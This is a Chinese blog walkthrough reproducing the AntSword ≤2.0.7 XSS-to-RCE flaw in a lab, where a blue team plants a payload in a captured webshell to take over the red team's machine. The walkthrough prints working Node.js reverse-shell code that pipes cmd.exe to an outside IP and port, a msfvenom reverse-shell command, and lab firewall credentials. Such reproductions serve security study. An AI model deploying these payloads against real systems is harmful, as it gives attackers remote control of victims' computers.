分享 | 蚁剑RCE反制复现

VSole2022-12-05 11:37:06

Zero

漏洞概述

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

2019年4月12日凌晨,有用户在中国蚁剑GitHub上提交了issue,称发现中国蚁剑存在XSS漏洞,借此可引起RCE。据悉,该漏洞是因为在webshell远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。

One

影响范围

AntSword <=2.0.7

Two

实验环境搭建

●环境拓扑

●安装v2.0.7版本蚁剑

版本2.0.7的蚁剑不能安装在Linux系统,所以将Windows 10物理机当做红队使用的主机。

下载地址:链接:https://pan.baidu.com/s/1x8bXH-ph6wRCZcmIt_HHDw
提取码:rizb

1.将压缩包解压,解压之后。

2.打开启动器,选择windows版本,双击AntSword.exe 启动文件。

3.初始化,配置核心源代码文件位置。

4.双击AntSword.exe 重启。

●蓝队靶标Centos 7

Centos 7自动获取到的IP地址为10.10.19.50

1.在靶机上搭建LAMP服务和phpcms v9.6.0环境。

2.边界FW2防火墙开放对应的接口

访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

点击“网络->防火墙->端口转发->新增”,则可以添加新的端口转发规则。

设置新的端口转发规则。

名称:可以任意取名,建议与规则相关;
协议:可以选择TCP、UDP、ICMP,一个规则最好只选一个协议,不然容易出问题;
源区域:这个指的是外网所在的区域,我们事先配置好了每个接口一个区域,因此只要选对应接口即可,FW2选ETH4,FW1选ETH2;
外部端口:这里是外网供访问的端口号,可以填单个端口或者一个端口段,如8000-9000;
目标区域:这里填写的是前往内网服务器路由的出接口,以FW2为例,如果要映射服务器就填写ETH3;
内部IP地址:这里填写内网服务器的IP地址,在下拉框的最后可以输入ip按回车即可变为可选的ip;
内部端口:这里填写内部服务器要映射的端口,可以填单个端口或者一个端口段,如8000-9000。

配置完成后点击右下角保存,即可增加规则,但规则不会马上生效。规则是自上而下进行匹配的,可以按住规则右侧的白色按钮上下拖动调整顺序,最后点击“保存并应用”方可生效。

●蓝队靶标Windows Server 2016

Windows Server 2016自动获取到的IP地址是10.10.19.51

1.使用phpstudy搭建,启动nginx+mysql服务。

2.搭建好phpcms v9.6.0环境。

3.边界FW2防火墙开放对应的接口

访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

点击“网络->防火墙->端口转发->新增”,则可以添加新的端口转发规则。

设置新的端口转发规则。

将靶标Windows Server 2016上的phpcms平台映射到公网66.28.5.2的80端口上

配置完成后点击右下角保存,即可增加规则,但规则不会马上生效。规则是自上而下进行匹配的,可以按住规则右侧的白色按钮上下拖动调整顺序,最后点击“保存并应用”方可生效。

Three

反制

●反制条件

红队:Windows 10 蓝队:Centos 7

1.红队通过phpcms v9.6.0文件上传漏洞,上传了一句话木马文件,并且使用蚁剑成功连接。

2.蓝队Centos 7 :关闭防火墙。

3.边界FW2防火墙开放接口

访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

点击“网络->防火墙->端口转发”,则可以看到端口转发规则。

点击“编辑”,进入修改端口转发规则。

配置完成后点击右下角保存,即可修改规则,最后点击“保存并应用”方可生效。

红队:Windows 10 蓝队:Windows Server 2016

1.红队通过phpcms v9.6.0文件上传漏洞,上传了一句话木马文件,并且使用蚁剑成功连接。

2.蓝队Windows Server 2016:关闭防火墙。

3.边界FW2防火墙开放接口

访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

点击“网络->防火墙->端口转发”,则可以看到端口转发规则。

点击“编辑”,进入修改端口转发规则。

配置完成后点击右下角保存,即可修改规则,最后点击“保存并应用”方可生效。

4.红队Windows 10关闭杀毒软件,比如火绒、360等等。

如果没有关闭火绒,则会报僵尸网络攻击,并将攻击进行拦截。

●反制目的

当红队再次使用蚁剑连接时,直接反弹shell,蓝队可以反控红队机器。

●反制开始条件

红队:Windows 10 蓝队:Centos 7

1.蓝队检查日志时,发现红队使用蚁剑v2.0连接了20220609050516861.php。

2.查看20220609050516861.php,发现该文件是一句话木马文件。

●反制过程

Centos 7

1.蓝队就准备根据蚁剑v2.0漏洞进行反制红队,制作payload,修改20220609050516861.php内容。

1.1 使用net.Socket方法制作木马

将以下内容进行base64编码,66.28.5.2为蓝队centos 7映射到公网上的IP地址,监听端口为10099。

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10099, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10099端口上。

将上面base64编码完成的内容放进Buffer函数中。

header("HTTP/1.1 500 Not ");
?>


1.2 使用MSF生成node.js木马

使用msfvenom 命令生成木马

msfvenom -p nodejs/shell_reverse_tcp LHOST=66.28.5.2 LPORT=10099 -f raw -o payload.js

将payload.js中的内容进行base64编码,将base64编码完成的代码放进Buffer函数。

header("HTTP/1.1 500 Not ");
?>


2.开启监听端口

蓝队使用nc开启监听10099端口。

3.当红队再一次使用蚁剑进行连接webshell时,发现报错,可能以为自己的密码错了或者木马文件没了,而此时,红队已经被蓝队控制了。

●Windows Server 2016

1.蓝队就准备根据蚁剑v2.0漏洞进行反制红队,制作payload,修改20220609035913593.php内容。

将以下内容进行base64编码,66.28.5.2为蓝队靶机映射到公网上的IP地址,监听端口为10088。

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10088, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。

将上面base64编码完成的内容放进Buffer函数中。

header("HTTP/1.1 500 Not ");
?>


2.开启监听端口

蓝队靶机使用nc开启监听10088端口。

3.当红队再一次使用蚁剑进行连接webshell时,发现报错,可能以为自己的密码错了或者木马文件没了,而此时,红队已经被蓝队控制了。

Four

防火墙端口转发
本作品采用《CC 协议》,转载必须注明作者和本文链接
1) Namp收集信息 2) 简单文本文件登录脚本 (SiTeFiLo) 1.0.6 - 文件泄露/远程文件包含 3) 空间越权(CVE-2018-18955) 4) hydra爆破 5) Vim提权 2.漏洞 1) CVE-2008-5763/2008-5762 2) CVE-2018-18955
段时间在一次内网中遇到了一个问题,当时想了很多办法,虽然最终没能解决但是也学了很多东西。
隐藏通讯隧道技术
2021-10-22 22:16:06
防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。nslookup 是windows自带的DNS探测命令,执行:
内网渗透合集(二)
2023-01-28 09:35:05
接下来在内网肉鸡再次执行:htran -p -slave 公网肉鸡IP 119 127.0.0.1 8009?linux也有实现,感觉使用方法更加明朗,且与windows下的兼容 在此推荐下。把windows的小做修改下,重新编译了下,源程序比较简单就不上传工程文件了,直接给个C文件,自己编译下即可。linux下实现大同小异,只不过用的fork实现子线程。此时在渗透测试端192.168.10.50可看到通道连接成功,效果如图4。
NAT穿透是如何工作的
2022-08-11 06:32:23
整个过程对双方透明。本文接下来都将关注在 UDP 上。对收发包的 socket 有直接控制权。例如,从经验上来说,无法基于某个现有的网络库实现 NAT 穿透,因为我们 必须在使用的“主要”协议之外,发送和接收额外的数据包。某些协议将 NAT 穿透与其他部分紧密集成。
隧道与端口转发
2021-11-18 08:26:13
如果想获得课程报名资格,请添加文末小助手微信咨询。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站协议。情况1:目标禁止出站ip如果目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的ip。这样的话,没法反弹shell。情况2:禁止出站端口Linux系统使用Linux系统自带命令探测出网端口
SSH代理转发
2022-03-04 22:03:04
浏览器开启代理SOCK5可以看到IP发生变化四、SSH本地转发网络拓扑图1.kali能与边界服务器互通。这里用ubuntu作为边界服务器sudo apt-get install openssh-server //安装SSH服务
Windows如果RDP连接上去,可以使用图形化工具(如御剑)。如果是webshell,可以使用fscan、nmap。重命名Dir,方便后续操作。将客户端配置删除?服务端监听地址?服务端仪表板的端口。log_level记录的日志级别。执行命令等待frpc连接./frps?#是该条规则在服务端开放的端口号,待会儿用proxyfier连的端口
内网渗透合集(三)
2023-01-28 09:44:16
jsp端口转发渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造 LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~参数说明/KPortTran.jsp?lip = local ip / 本地ip //一般为内网主机IP. lp = local port / 本地端口 //一般为内网主机端口
启动网络扩展功能以后,移动办公设备与虚拟网关之间会建立一条SSL VPN隧道,移动办公设备从虚拟网关地址池中获得一个私网IP地址,用于访问内网资源。虚拟网关解封装以后,再查找路由和安全策略,发送给服务器端。图 2 网络扩展业务交互流程因此,首先要允许移动办公用户通过HTTPS登录虚拟网关,建立SSL隧道。根据客户端配置,SSL隧道可能使用TCP 443端口或者UDP 443端口
VSole
网络安全专家